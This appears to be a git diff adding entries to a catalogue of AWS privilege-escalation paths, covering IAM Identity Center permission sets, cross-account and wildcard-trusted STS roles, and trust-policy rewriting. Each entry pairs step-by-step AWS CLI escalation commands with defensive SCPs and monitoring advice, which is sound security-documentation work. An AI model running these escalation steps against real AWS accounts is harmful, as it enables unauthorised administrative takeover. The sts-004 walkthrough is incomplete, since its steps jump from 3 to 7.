"sso:CreateAccountAssignment", + "sso:AttachManagedPolicyToPermissionSet", + "sso:PutInlinePolicyToPermissionSet" + ], + "Resource": "*", + "Condition": { + "StringNotLike": { + "aws:PrincipalARN": "arn:aws:iam::*:role/SSOAdmin-BreakGlass" + } + } + } + ] + } + ``` + + Additional controls: + - **Restrict in management account** — Identity Center admin actions should only be performed from the management account by dedicated roles + - **Monitor CloudTrail** — Alert on `CreatePermissionSet`, `CreateAccountAssignment`, and `AttachManagedPolicyToPermissionSet` events + - **Use delegated admin carefully** — If using delegated administrator for Identity Center, tightly restrict who has that access + - **Regular audits** — Review all permission sets and account assignments periodically + - **Require MFA** — Enforce MFA for all Identity Center administrative actions + - **Detect drift** — Implement automated detection for new or modified permission sets +limitations: | + This path requires significant IAM Identity Center administrative access, which is typically only available in the management account or from a delegated administrator. The attacker gains admin access to any account in the organization, but must first have these broad SSO management permissions. +discoveryAttribution: + firstDocumented: + author: Paramanand Mallik + date: "2026" + link: https://github.com/DataDog/pathfinding.cloud/pull/XX +references: +- title: AWS Documentation - IAM Identity Center + url: https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html +- title: AWS Documentation - Permission Sets + url: https://docs.aws.amazon.com/singlesignon/latest/userguide/permissionsetsconcept.html +relatedPaths: +- sso-002 +- sso-003 +attackVisualization: + nodes: + - id: attacker + label: SSO Admin Principal + type: principal + description: | + A principal with Identity Center administrative permissions in the management account or delegated admin. Has the ability to create permission sets and account assignments. + - id: permission_set + label: New Permission Set (AdminAccess) + type: resource + description: | + A newly created permission set with AdministratorAccess managed policy attached. This permission set grants full admin access when assigned to an account. + - id: account_assignment + label: Account Assignment + type: resource + description: | + The assignment linking the admin permission set to the attacker's SSO user/group for the target account. Once provisioned, the attacker can access the account via SSO. + - id: admin_outcome + label: Full Admin via SSO (Any Account) + type: outcome + description: | + The attacker can now log in via the SSO portal and select the target account with the AdminAccess permission set, gaining full administrative access. + edges: + - from: attacker + to: permission_set + label: sso:CreatePermissionSet + sso:AttachManagedPolicyToPermissionSet + description: | + Create a new permission set and attach AdministratorAccess to it. + + Commands: + ```bash + aws sso-admin create-permission-set \ + --instance-arn INSTANCE_ARN \ + --name "AdminAccess" + + aws sso-admin attach-managed-policy-to-permission-set \ + --instance-arn INSTANCE_ARN \ + --permission-set-arn PERM_SET_ARN \ + --managed-policy-arn arn:aws:iam::aws:policy/AdministratorAccess + ``` + - from: permission_set + to: account_assignment + label: sso:CreateAccountAssignment + description: | + Assign the admin permission set to the attacker's SSO identity for the target account. + + Command: + ```bash + aws sso-admin create-account-assignment \ + --instance-arn INSTANCE_ARN \ + --permission-set-arn PERM_SET_ARN \ + --target-id TARGET_ACCOUNT_ID \ + --target-type AWS_ACCOUNT \ + --principal-id ATTACKER_ID \ + --principal-type USER + ``` + - from: account_assignment + to: admin_outcome + label: SSO Portal Login + description: | + The attacker logs into the SSO portal and selects the target account with the newly assigned AdminAccess permission set, gaining full administrative access. diff --git a/data/paths/sso/sso-002.yaml b/data/paths/sso/sso-002.yaml new file mode 100644 index 00000000..50ea912c --- /dev/null +++ b/data/paths/sso/sso-002.yaml @@ -0,0 +1,143 @@ +id: sso-002 +name: sso:AttachManagedPolicyToPermissionSet +category: self-escalation +services: +- sso-admin +description: | + An attacker with `sso:AttachManagedPolicyToPermissionSet` can attach AdministratorAccess (or any high-privilege managed policy) to an existing permission set that is already assigned to them. This elevates the attacker's existing SSO access to admin without creating new assignments — making it less visible than creating entirely new permission sets and assignments. +prerequisites: + admin: + - Attacker must already have an SSO assignment with a low-privilege permission set + - Attacker must have `sso:AttachManagedPolicyToPermissionSet` permission + - Must know the Identity Center instance ARN and the permission set ARN + lateral: + - Attacker must already have an SSO assignment with the target permission set + - Must have sso:AttachManagedPolicyToPermissionSet on the target permission set +permissions: + required: + - permission: sso:AttachManagedPolicyToPermissionSet + resourceConstraints: Must have permission to attach managed policies to the target permission set ARN + additional: + - permission: sso:ListPermissionSets + resourceConstraints: Helpful for discovering permission sets the attacker is assigned to + - permission: sso:ListManagedPoliciesInPermissionSet + resourceConstraints: Useful for viewing current policies on the permission set + - permission: sso:ProvisionPermissionSet + resourceConstraints: May be needed to push changes to assigned accounts +exploitationSteps: + awscli: + - step: 1 + command: aws sso-admin list-instances + description: Discover the Identity Center instance ARN + - step: 2 + command: | + aws sso-admin list-permission-sets \ + --instance-arn arn:aws:sso:::instance/ssoins-INSTANCE_ID + description: List permission sets to find the one already assigned to the attacker + - step: 3 + command: | + aws sso-admin list-managed-policies-in-permission-set \ + --instance-arn arn:aws:sso:::instance/ssoins-INSTANCE_ID \ + --permission-set-arn arn:aws:sso:::permissionSet/ssoins-INSTANCE_ID/ps-PERMISSION_SET_ID + description: View current policies on the target permission set (should be low-privilege) + - step: 4 + command: | + aws sso-admin attach-managed-policy-to-permission-set \ + --instance-arn arn:aws:sso:::instance/ssoins-INSTANCE_ID \ + --permission-set-arn arn:aws:sso:::permissionSet/ssoins-INSTANCE_ID/ps-PERMISSION_SET_ID \ + --managed-policy-arn arn:aws:iam::aws:policy/AdministratorAccess + description: Attach AdministratorAccess to the existing permission set + - step: 5 + command: | + aws sso-admin provision-permission-set \ + --instance-arn arn:aws:sso:::instance/ssoins-INSTANCE_ID \ + --permission-set-arn arn:aws:sso:::permissionSet/ssoins-INSTANCE_ID/ps-PERMISSION_SET_ID \ + --target-type ALL_PROVISIONED_ACCOUNTS + description: Provision the permission set to push the policy change to all assigned accounts + - step: 6 + command: echo "Log in to SSO portal - existing assignment now has admin access" + description: Access the account via SSO with the now-elevated permission set +recommendation: | + Limit who can modify permission sets. Alert on `AttachManagedPolicyToPermissionSet` in CloudTrail. + + SCP to restrict permission set modifications: + ```json + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "sso:AttachManagedPolicyToPermissionSet", + "sso:DetachManagedPolicyFromPermissionSet", + "sso:PutInlinePolicyToPermissionSet", + "sso:DeleteInlinePolicyFromPermissionSet" + ], + "Resource": "*", + "Condition": { + "StringNotLike": { + "aws:PrincipalARN": "arn:aws:iam::*:role/SSOAdmin-BreakGlass" + } + } + } + ] + } + ``` + + Additional controls: + - **Monitor CloudTrail** — Alert immediately on `AttachManagedPolicyToPermissionSet` events, especially when AdministratorAccess or PowerUserAccess is being attached + - **Use provisioning pipelines** — Manage permission sets through IaC (Terraform/CloudFormation) and detect drift + - **Separate duty** — Principals assigned to permission sets should not have permissions to modify those same permission sets + - **Restrict managed policy ARNs** — Use SCPs with conditions to limit which managed policies can be attached + - **Regular audits** — Review permission set policies periodically to detect unauthorized additions +limitations: | + This attack requires the attacker to already have an SSO assignment via the target permission set. The modification elevates the existing assignment rather than creating a new one, making it stealthier but also limiting it to accounts where the attacker already has some level of access. +discoveryAttribution: + firstDocumented: + author: Paramanand Mallik + date: "2026" + link: https://github.com/DataDog/pathfinding.cloud/pull/XX +references: +- title: AWS Documentation - Managing Permission Sets + url: https://docs.aws.amazon.com/singlesignon/latest/userguide/permissionsetsconcept.html +- title: AWS Documentation - IAM Identity Center API + url: https://docs.aws.amazon.com/singlesignon/latest/APIReference/API_AttachManagedPolicyToPermissionSet.html +relatedPaths: +- sso-001 +- sso-003 +attackVisualization: + nodes: + - id: attacker + label: SSO User (Low Privilege) + type: principal + description: | + An SSO user who already has an account assignment with a low-privilege permission set. The user also has `sso:AttachManagedPolicyToPermissionSet` permission. + - id: permission_set + label: Existing Permission Set + type: resource + description: | + The permission set already assigned to the attacker. Currently grants limited permissions (e.g., ReadOnlyAccess). The attacker will elevate it by attaching AdministratorAccess. + - id: admin_outcome + label: Full Admin via SSO + type: outcome + description: | + After attaching AdministratorAccess to the permission set and provisioning, the attacker's existing SSO access is elevated to full admin. + edges: + - from: attacker + to: permission_set + label: sso:AttachManagedPolicyToPermissionSet + description: | + Attach AdministratorAccess managed policy to the existing permission set. + + Command: + ```bash + aws sso-admin attach-managed-policy-to-permission-set \ + --instance-arn INSTANCE_ARN \ + --permission-set-arn PERM_SET_ARN \ + --managed-policy-arn arn:aws:iam::aws:policy/AdministratorAccess + ``` + - from: permission_set + to: admin_outcome + label: Provisioned to assigned accounts + description: | + After provisioning, the permission set now includes AdministratorAccess. All existing account assignments using this permission set are elevated to admin. diff --git a/data/paths/sso/sso-003.yaml b/data/paths/sso/sso-003.yaml new file mode 100644 index 00000000..cfee3a80 --- /dev/null +++ b/data/paths/sso/sso-003.yaml @@ -0,0 +1,137 @@ +id: sso-003 +name: sso:PutInlinePolicyToPermissionSet +category: self-escalation +services: +- sso-admin +description: | + An attacker with `sso:PutInlinePolicyToPermissionSet` can inject an inline policy with `"Action": "*", "Resource": "*"` into an existing permission set they are assigned to. This achieves the same result as attaching AdministratorAccess but uses an inline policy instead of a managed policy. The inline approach may be less visible since it doesn't reference a well-known policy ARN. +prerequisites: + admin: + - Attacker must already have an SSO assignment with a permission set they can modify + - Attacker must have `sso:PutInlinePolicyToPermissionSet` permission + - Must know the Identity Center instance ARN and permission set ARN + lateral: + - Attacker must already have an SSO assignment with the target permission set + - Must have sso:PutInlinePolicyToPermissionSet on the target permission set +permissions: + required: + - permission: sso:PutInlinePolicyToPermissionSet + resourceConstraints: Must have permission to add inline policies to the target permission set ARN + additional: + - permission: sso:ListPermissionSets + resourceConstraints: Helpful for discovering available permission sets + - permission: sso:GetInlinePolicyForPermissionSet + resourceConstraints: Useful for viewing existing inline policies on permission sets + - permission: sso:ProvisionPermissionSet + resourceConstraints: May be needed to push changes to assigned accounts +exploitationSteps: + awscli: + - step: 1 + command: aws sso-admin list-instances + description: Discover the Identity Center instance ARN + - step: 2 + command: | + aws sso-admin list-permission-sets \ + --instance-arn arn:aws:sso:::instance/ssoins-INSTANCE_ID + description: List permission sets to find the one assigned to the attacker + - step: 3 + command: | + aws sso-admin put-inline-policy-to-permission-set \ + --instance-arn arn:aws:sso:::instance/ssoins-INSTANCE_ID \ + --permission-set-arn arn:aws:sso:::permissionSet/ssoins-INSTANCE_ID/ps-PERMISSION_SET_ID \ + --inline-policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' + description: Inject an admin inline policy into the permission set + - step: 4 + command: | + aws sso-admin provision-permission-set \ + --instance-arn arn:aws:sso:::instance/ssoins-INSTANCE_ID \ + --permission-set-arn arn:aws:sso:::permissionSet/ssoins-INSTANCE_ID/ps-PERMISSION_SET_ID \ + --target-type ALL_PROVISIONED_ACCOUNTS + description: Provision the permission set to push the inline policy change to all assigned accounts + - step: 5 + command: echo "Log in to SSO portal - permission set now grants full admin via inline policy" + description: Access the account via SSO with the now-elevated permission set +recommendation: | + Same protections as sso-002 — restrict who can modify permission sets. Also consider using permission set provisioning pipelines that detect drift. + + SCP to restrict inline policy modifications: + ```json + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Deny", + "Action": [ + "sso:PutInlinePolicyToPermissionSet", + "sso:DeleteInlinePolicyFromPermissionSet", + "sso:AttachManagedPolicyToPermissionSet" + ], + "Resource": "*", + "Condition": { + "StringNotLike": { + "aws:PrincipalARN": "arn:aws:iam::*:role/SSOAdmin-BreakGlass" + } + } + } + ] + } + ``` + + Additional controls: + - **Monitor CloudTrail** — Alert on `PutInlinePolicyToPermissionSet` events, especially with broad policy documents + - **Detect drift** — Use IaC pipelines (Terraform/CloudFormation) for permission set management and detect unauthorized changes + - **Restrict inline policy content** — While harder to enforce via SCPs, detect and alert on inline policies with `"Action": "*"` + - **Separate duty** — Principals assigned to permission sets should not be able to modify those same sets + - **Regular audits** — Review inline policies on all permission sets periodically + - **Prefer managed policies** — Use managed policies over inline policies for easier auditing and monitoring +limitations: | + Same as sso-002 — requires existing SSO assignment via the target permission set. The inline policy approach is stealthier (no reference to a well-known policy ARN like AdministratorAccess) but achieves the same result. +discoveryAttribution: + firstDocumented: + author: Paramanand Mallik + date: "2026" + link: https://github.com/DataDog/pathfinding.cloud/pull/XX +references: +- title: AWS Documentation - Inline Policies for Permission Sets + url: https://docs.aws.amazon.com/singlesignon/latest/userguide/permissionsetsconcept.html +- title: AWS Documentation - PutInlinePolicyToPermissionSet API + url: https://docs.aws.amazon.com/singlesignon/latest/APIReference/API_PutInlinePolicyToPermissionSet.html +relatedPaths: +- sso-001 +- sso-002 +attackVisualization: + nodes: + - id: attacker + label: SSO User (Low Privilege) + type: principal + description: | + An SSO user who already has an account assignment with a permission set. The user also has `sso:PutInlinePolicyToPermissionSet` permission. + - id: permission_set + label: Existing Permission Set + type: resource + description: | + The permission set already assigned to the attacker. Currently grants limited permissions. The attacker will inject an admin inline policy into it. + - id: admin_outcome + label: Full Admin via SSO + type: outcome + description: | + After injecting the inline policy and provisioning, the attacker's SSO access is elevated to full admin in all assigned accounts. + edges: + - from: attacker + to: permission_set + label: sso:PutInlinePolicyToPermissionSet + description: | + Inject an inline policy with `"Action": "*", "Resource": "*"` into the permission set. + + Command: + ```bash + aws sso-admin put-inline-policy-to-permission-set \ + --instance-arn INSTANCE_ARN \ + --permission-set-arn PERM_SET_ARN \ + --inline-policy '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' + ``` + - from: permission_set + to: admin_outcome + label: Provisioned with admin inline policy + description: | + After provisioning, the permission set includes the admin inline policy. The attacker's existing SSO assignment now grants full administrative access. diff --git a/data/paths/sts/sts-002.yaml b/data/paths/sts/sts-002.yaml new file mode 100644 index 00000000..201c600d --- /dev/null +++ b/data/paths/sts/sts-002.yaml @@ -0,0 +1,167 @@ +id: sts-002 +name: sts:AssumeRole +category: principal-access +services: +- sts +- iam +description: | + A principal in Account A can assume a privileged role in Account B when the target role's trust policy allows cross-account access without requiring an `sts:ExternalId` condition. This is the classic confused deputy attack — if the trust policy specifies `arn:aws:iam::ATTACKER_ACCOUNT:root` (or a specific principal in the attacker's account) without an ExternalId condition, any principal in the attacker's account with `sts:AssumeRole` permission can assume the target role and gain its permissions in the target account. +prerequisites: + admin: + - Target role in Account B must trust Account A (e.g., arn:aws:iam::ATTACKER_ACCOUNT:root) without an sts:ExternalId condition + - Target role must have administrative permissions (e.g., AdministratorAccess) + - Attacker must have sts:AssumeRole permission in Account A + - Attacker must know or discover the target role ARN in Account B + lateral: + - Target role in Account B must trust Account A without an sts:ExternalId condition + - Attacker must have sts:AssumeRole permission in Account A + - Attacker must know or discover the target role ARN in Account B +permissions: + required: + - permission: sts:AssumeRole + resourceConstraints: Must be able to assume the cross-account target role ARN in Account B + additional: + - permission: iam:ListRoles + resourceConstraints: Helpful for discovering roles in the attacker's own account that may have cross-account trust +exploitationSteps: + awscli: + - step: 1 + command: aws sts get-caller-identity + description: Verify current identity in Account A before cross-account escalation + - step: 2 + command: | + aws sts assume-role \ + --role-arn arn:aws:iam::TARGET_ACCOUNT:role/VulnerableRole \ + --role-session-name cross-account-attack + description: Assume the cross-account role in Account B that trusts Account A without ExternalId + - step: 3 + command: | + export AWS_ACCESS_KEY_ID= + export AWS_SECRET_ACCESS_KEY= + export AWS_SESSION_TOKEN= + description: Configure the AWS CLI to use the assumed role credentials from Account B + - step: 4 + command: aws sts get-caller-identity + description: Verify the assumed identity is now in Account B + - step: 5 + command: aws iam list-users --max-items 3 + description: Verify administrative access in Account B +recommendation: | + Always require `sts:ExternalId` for cross-account roles to prevent confused deputy attacks. Additionally, restrict trust to specific principal ARNs rather than the account root. + + Example trust policy with ExternalId: + ```json + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam::TRUSTED_ACCOUNT:role/SpecificRole" + }, + "Action": "sts:AssumeRole", + "Condition": { + "StringEquals": { + "sts:ExternalId": "unique-external-id-here" + } + } + } + ] + } + ``` + + Additional controls: + - **Use specific principal ARNs** — Never trust the account root (`arn:aws:iam::ACCOUNT:root`) for cross-account roles; specify exact role or user ARNs + - **Require ExternalId** — Always add `sts:ExternalId` condition for third-party cross-account access + - **Use aws:PrincipalOrgID** — For intra-organization trust, restrict to your AWS Organization ID + - **Monitor CloudTrail** — Alert on `AssumeRole` events from unexpected external accounts + - **Use SCPs** — Implement Service Control Policies to limit which accounts can be trusted in role policies + - **Regular audits** — Periodically review all role trust policies for overly permissive cross-account access +limitations: | + This path provides access only to the permissions of the target role in Account B. The level of access depends entirely on what policies are attached to the target role. If the role has administrative permissions, the attacker gains full admin in Account B. If the role has limited permissions, the attacker gains only those limited permissions. +discoveryAttribution: + firstDocumented: + author: Paramanand Mallik + date: "2026" + link: https://github.com/DataDog/pathfinding.cloud/pull/XX +references: +- title: AWS Documentation - How to use an external ID when granting access + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_create_for-user_externalid.html +- title: The Confused Deputy Problem + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html +relatedPaths: +- sts-001 +- sts-003 +attackVisualization: + nodes: + - id: attacker + label: Attacker (Account A) + type: principal + description: | + A principal in Account A with `sts:AssumeRole` permission. The attacker controls this principal and uses it to assume a cross-account role in Account B. + - id: assume_action + label: sts:AssumeRole (Cross-Account) + type: payload + description: | + The attacker calls `sts:AssumeRole` targeting a role in Account B. No ExternalId is required because the target role's trust policy does not enforce one. + + Command: + ```bash + aws sts assume-role \ + --role-arn arn:aws:iam::TARGET_ACCOUNT:role/VulnerableRole \ + --role-session-name cross-account-attack + ``` + - id: target_role + label: VulnerableRole (Account B) + type: principal + description: | + An IAM role in Account B whose trust policy allows Account A to assume it without requiring an ExternalId condition. This is the confused deputy vulnerability. + - id: admin_outcome + label: Effective Administrator (Account B) + type: outcome + description: | + If the target role has AdministratorAccess or equivalent permissions, the attacker gains full administrative access to Account B. + - id: partial_outcome + label: Some additional access (Account B) + type: outcome + color: '#ffeb99' + description: | + If the target role has elevated but non-administrative permissions, the attacker gains partial access in Account B. + - id: no_outcome + label: No additional access + type: outcome + color: '#cccccc' + description: | + If the target role has minimal permissions, the cross-account assumption provides little value. + edges: + - from: attacker + to: assume_action + label: Has sts:AssumeRole permission + description: | + The attacker's principal in Account A has `sts:AssumeRole` permission targeting the role ARN in Account B. + - from: assume_action + to: target_role + label: Trust policy allows Account A (no ExternalId) + description: | + The target role's trust policy allows Account A principals to assume it without requiring an ExternalId. This is the vulnerable configuration being exploited. + - from: target_role + to: admin_outcome + label: If role has admin permissions + branch: A + condition: admin + description: | + The target role has AdministratorAccess or equivalent, granting the attacker full admin in Account B. + - from: target_role + to: partial_outcome + label: If role has some permissions + branch: B + condition: some_permissions + description: | + The target role has elevated permissions that may allow data access or further escalation in Account B. + - from: target_role + to: no_outcome + label: If role has minimal permissions + branch: C + condition: no_permissions + description: | + The target role has minimal permissions, providing little additional access. diff --git a/data/paths/sts/sts-003.yaml b/data/paths/sts/sts-003.yaml new file mode 100644 index 00000000..af090a76 --- /dev/null +++ b/data/paths/sts/sts-003.yaml @@ -0,0 +1,172 @@ +id: sts-003 +name: sts:AssumeRole +category: principal-access +services: +- sts +- iam +description: >- + A role's trust policy uses "Principal": {"AWS": "*"} — allowing ANY AWS principal + in ANY account to assume it, as long as that principal has sts:AssumeRole permission. + This is an extremely dangerous misconfiguration because it exposes the role to every + AWS account worldwide. Any attacker who discovers the role ARN can assume it without + any relationship to the target account. +prerequisites: + admin: + - 'Target role must have a trust policy with "Principal": {"AWS": "*"} without restrictive conditions' + - Target role must have administrative permissions (e.g., AdministratorAccess) + - Attacker must have sts:AssumeRole permission (can be in any AWS account) + lateral: + - 'Target role must have a trust policy with "Principal": {"AWS": "*"} without restrictive conditions' + - Attacker must have sts:AssumeRole permission (can be in any AWS account) + - Attacker must know or discover the target role ARN +permissions: + required: + - permission: sts:AssumeRole + resourceConstraints: Must be able to assume the target role ARN (any account can attempt this due to wildcard trust) + additional: + - permission: iam:ListRoles + resourceConstraints: Helpful for discovering roles if attacker has access to the target account via other means +exploitationSteps: + awscli: + - step: 1 + command: aws sts get-caller-identity + description: Verify current identity (can be any AWS account) + - step: 2 + command: | + aws sts assume-role \ + --role-arn arn:aws:iam::TARGET_ACCOUNT:role/WildcardTrustRole \ + --role-session-name wildcard-exploit + description: Assume the role with wildcard trust principal from any AWS account + - step: 3 + command: | + export AWS_ACCESS_KEY_ID= + export AWS_SECRET_ACCESS_KEY= + export AWS_SESSION_TOKEN= + description: Configure the AWS CLI to use the assumed role credentials + - step: 4 + command: aws sts get-caller-identity + description: Verify the assumed role identity in the target account + - step: 5 + command: aws iam list-users --max-items 3 + description: Verify access level in the target account +recommendation: | + Never use wildcard principals in trust policies. Always use specific account IDs or principal ARNs, and add restrictive conditions. + + Example secure trust policy: + ```json + { + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": { + "AWS": "arn:aws:iam::TRUSTED_ACCOUNT:role/SpecificRole" + }, + "Action": "sts:AssumeRole", + "Condition": { + "StringEquals": { + "aws:PrincipalOrgID": "o-your-org-id" + } + } + } + ] + } + ``` + + Additional controls: + - **Never use `"Principal": "*"` or `"Principal": {"AWS": "*"}`** in trust policies — this allows any AWS principal worldwide to assume the role + - **Use specific principal ARNs** — Restrict to exact IAM users or roles that need access + - **Add aws:PrincipalOrgID condition** — Limit trust to principals within your AWS Organization + - **Add aws:SourceAccount condition** — Restrict to specific known accounts + - **Use IAM Access Analyzer** — Detect roles with public or overly permissive trust policies + - **Monitor CloudTrail** — Alert on `AssumeRole` events from unknown or unexpected accounts + - **SCPs** — Use Service Control Policies to prevent creation of roles with wildcard trust policies + - **Regular audits** — Scan all role trust policies for wildcard principals +limitations: | + This path provides access only to the permissions of the target role. The actual level of access depends on what policies are attached to the wildcard-trusted role. The main risk is that ANY account can exploit this, making it a public-facing vulnerability. +discoveryAttribution: + firstDocumented: + author: Paramanand Mallik + date: "2026" + link: https://github.com/DataDog/pathfinding.cloud/pull/XX +references: +- title: AWS Documentation - IAM Role Trust Policies + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html +- title: AWS IAM Access Analyzer - External Access Findings + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-findings.html +relatedPaths: +- sts-001 +- sts-002 +attackVisualization: + nodes: + - id: attacker + label: Attacker (Any AWS Account) + type: principal + description: | + Any AWS principal in any AWS account worldwide. Because the target role uses a wildcard trust principal, no specific account relationship is needed. + - id: assume_action + label: sts:AssumeRole + type: payload + description: | + The attacker calls `sts:AssumeRole` targeting the wildcard-trusted role. Since the trust policy allows `"Principal": {"AWS": "*"}`, any authenticated AWS principal can assume it. + + Command: + ```bash + aws sts assume-role \ + --role-arn arn:aws:iam::TARGET_ACCOUNT:role/WildcardTrustRole \ + --role-session-name wildcard-exploit + ``` + - id: target_role + label: WildcardTrustRole (Target Account) + type: principal + description: | + An IAM role with `"Principal": {"AWS": "*"}` in its trust policy. This misconfiguration makes the role assumable by any AWS principal in any account worldwide. + - id: admin_outcome + label: Effective Administrator + type: outcome + description: | + If the wildcard-trusted role has AdministratorAccess or equivalent, the attacker gains full admin access to the target account. + - id: partial_outcome + label: Some additional access + type: outcome + color: '#ffeb99' + description: | + If the role has elevated but non-administrative permissions, the attacker gains partial access to the target account. + - id: no_outcome + label: No additional access + type: outcome + color: '#cccccc' + description: | + If the role has minimal permissions, the wildcard trust provides little value despite the misconfiguration. + edges: + - from: attacker + to: assume_action + label: Has sts:AssumeRole (any account) + description: | + The attacker has `sts:AssumeRole` permission in their own account. Due to the wildcard trust, no cross-account relationship is required. + - from: assume_action + to: target_role + label: "Trust policy: Principal = *" + description: | + The target role's trust policy uses `"Principal": {"AWS": "*"}` without restrictive conditions, allowing any AWS principal to assume it. + - from: target_role + to: admin_outcome + label: If role has admin permissions + branch: A + condition: admin + description: | + The wildcard-trusted role has AdministratorAccess, granting the attacker full admin in the target account. + - from: target_role + to: partial_outcome + label: If role has some permissions + branch: B + condition: some_permissions + description: | + The role has some elevated permissions useful for data access or further escalation. + - from: target_role + to: no_outcome + label: If role has minimal permissions + branch: C + condition: no_permissions + description: | + The role has minimal permissions, limiting the impact despite the wildcard trust misconfiguration. diff --git a/data/paths/sts/sts-004.yaml b/data/paths/sts/sts-004.yaml new file mode 100644 index 00000000..a08a94bf --- /dev/null +++ b/data/paths/sts/sts-004.yaml @@ -0,0 +1,189 @@ +id: sts-004 +name: iam:UpdateAssumeRolePolicy +category: principal-access +services: +- iam +- sts +description: | + A principal with `iam:UpdateAssumeRolePolicy` on a target role can modify its trust policy to allow themselves to assume it. The attacker injects their own principal ARN into the trust policy, then assumes the role to escalate to its permissions. This is a self-trust injection attack — the attacker doesn't need the role to already trust them; they simply rewrite the trust policy to grant themselves access. +prerequisites: + admin: + - A target role must exist with administrative permissions (e.g., AdministratorAccess) + - Attacker must have iam:UpdateAssumeRolePolicy permission on the target role's ARN + - Attacker must know the target role's ARN + lateral: + - A target role must exist in the account + - Attacker must have iam:UpdateAssumeRolePolicy permission on the target role's ARN + - Attacker must know the target role's ARN +permissions: + required: + - permission: iam:UpdateAssumeRolePolicy + resourceConstraints: Must have permission to update the trust policy of the target role ARN + additional: + - permission: iam:ListRoles + resourceConstraints: Helpful for discovering available roles to target + - permission: iam:GetRole + resourceConstraints: Useful for viewing current trust policies and attached permissions on roles + - permission: sts:AssumeRole + resourceConstraints: Needed to assume the role after trust policy modification (unless the attacker is explicitly named in the trust policy, in which case it is not required) +exploitationSteps: + awscli: + - step: 1 + command: aws sts get-caller-identity + description: Identify current principal ARN for injecting into the trust policy + - step: 2 + command: | + CURRENT_ARN=$(aws sts get-caller-identity --query Arn --output text) + echo "Current ARN: $CURRENT_ARN" + description: Capture the current principal ARN to use in the new trust policy + - step: 3 + command: | + cat > trust-policy.json < + export AWS_SECRET_ACCESS_KEY= + export AWS_SESSION_TOKEN= + description: Configure the AWS CLI to use the assumed role credentials + - step: 8 + command: aws sts get-caller-identity + description: Verify the assumed role identity + - step: 9 + command: aws iam list-users --max-items 3 + description: Verify escalated permissions +recommendation: | + Restrict `iam:UpdateAssumeRolePolicy` to break-glass procedures only. This permission allows complete control over who can assume a role, making it extremely dangerous. + + Prevention strategies: + ```json + { + "Effect": "Deny", + "Action": "iam:UpdateAssumeRolePolicy", + "Resource": "*", + "Condition": { + "StringNotEquals": { + "aws:PrincipalTag/breakglass": "true" + } + } + } + ``` + + Additional controls: + - **Use SCPs** — Deny `iam:UpdateAssumeRolePolicy` broadly across the organization except for specific automation roles + - **Restrict to specific roles** — If the permission must be granted, limit the Resource to non-sensitive roles only + - **Monitor CloudTrail** — Alert on all `UpdateAssumeRolePolicy` events, especially those adding new principal ARNs + - **Detect trust policy drift** — Implement automated checks that compare trust policies against known-good baselines + - **Require MFA** — Add MFA condition for any trust policy modifications + - **Separate duties** — Ensure principals with `iam:UpdateAssumeRolePolicy` do not also have `sts:AssumeRole` on the same roles (note: if explicitly named in trust, AssumeRole permission is not required) +limitations: | + This path provides access to whatever permissions the target role has. If the attacker can update the trust policy of an admin role, they gain full admin access. Note that when a principal is explicitly named in a trust policy, they can assume the role without separate `sts:AssumeRole` permissions — the trust policy itself grants this capability. +discoveryAttribution: + firstDocumented: + author: Paramanand Mallik + date: "2026" + link: https://github.com/DataDog/pathfinding.cloud/pull/XX +references: +- title: AWS Documentation - Modifying a Role Trust Policy + url: https://docs.aws.amazon.com/IAM/latest/UserGuide/roles-managingrole-editing-console.html +- title: HackTricks - AWS IAM Privesc - UpdateAssumeRolePolicy + url: https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/index.html#iamupdateassumerolepolicy +relatedPaths: +- sts-001 +- iam-020 +- iam-021 +attackVisualization: + nodes: + - id: attacker + label: Starting Principal + type: principal + description: | + The principal with `iam:UpdateAssumeRolePolicy` permission on the target role. Can be an IAM user or role in the same account. + - id: target_role + label: Target Privileged Role + type: principal + description: | + An existing IAM role with high privileges. The attacker will modify its trust policy to inject their own principal, then assume the role. + - id: admin_outcome + label: Effective Administrator + type: outcome + description: | + After injecting self-trust and assuming the role, the attacker gains full administrative access if the target role has AdministratorAccess. + - id: partial_outcome + label: Some additional access + type: outcome + color: '#ffeb99' + description: | + If the target role has elevated but non-admin permissions, the attacker gains those permissions after assuming it. + - id: no_outcome + label: No additional access + type: outcome + color: '#cccccc' + description: | + If the target role has minimal permissions, the trust injection provides little value. + edges: + - from: attacker + to: target_role + label: iam:UpdateAssumeRolePolicy + sts:AssumeRole + description: | + The attacker first modifies the target role's trust policy to add their own principal ARN, then assumes the role. If the attacker is explicitly named in the trust policy, `sts:AssumeRole` permission is not strictly required. + + Commands: + ```bash + aws iam update-assume-role-policy \ + --role-name TARGET_ROLE \ + --policy-document file://trust-policy.json + + aws sts assume-role \ + --role-arn arn:aws:iam::ACCOUNT_ID:role/TARGET_ROLE \ + --role-session-name self-trust-injection + ``` + - from: target_role + to: admin_outcome + label: If role has admin permissions + branch: A + condition: admin + description: | + The target role has AdministratorAccess or equivalent, granting the attacker full admin access after assuming it. + - from: target_role + to: partial_outcome + label: If role has some permissions + branch: B + condition: some_permissions + description: | + The target role has elevated permissions useful for data access or further escalation. + - from: target_role + to: no_outcome + label: If role has minimal permissions + branch: C + condition: no_permissions + description: | + The target role has minimal permissions, limiting the impact of the trust injection.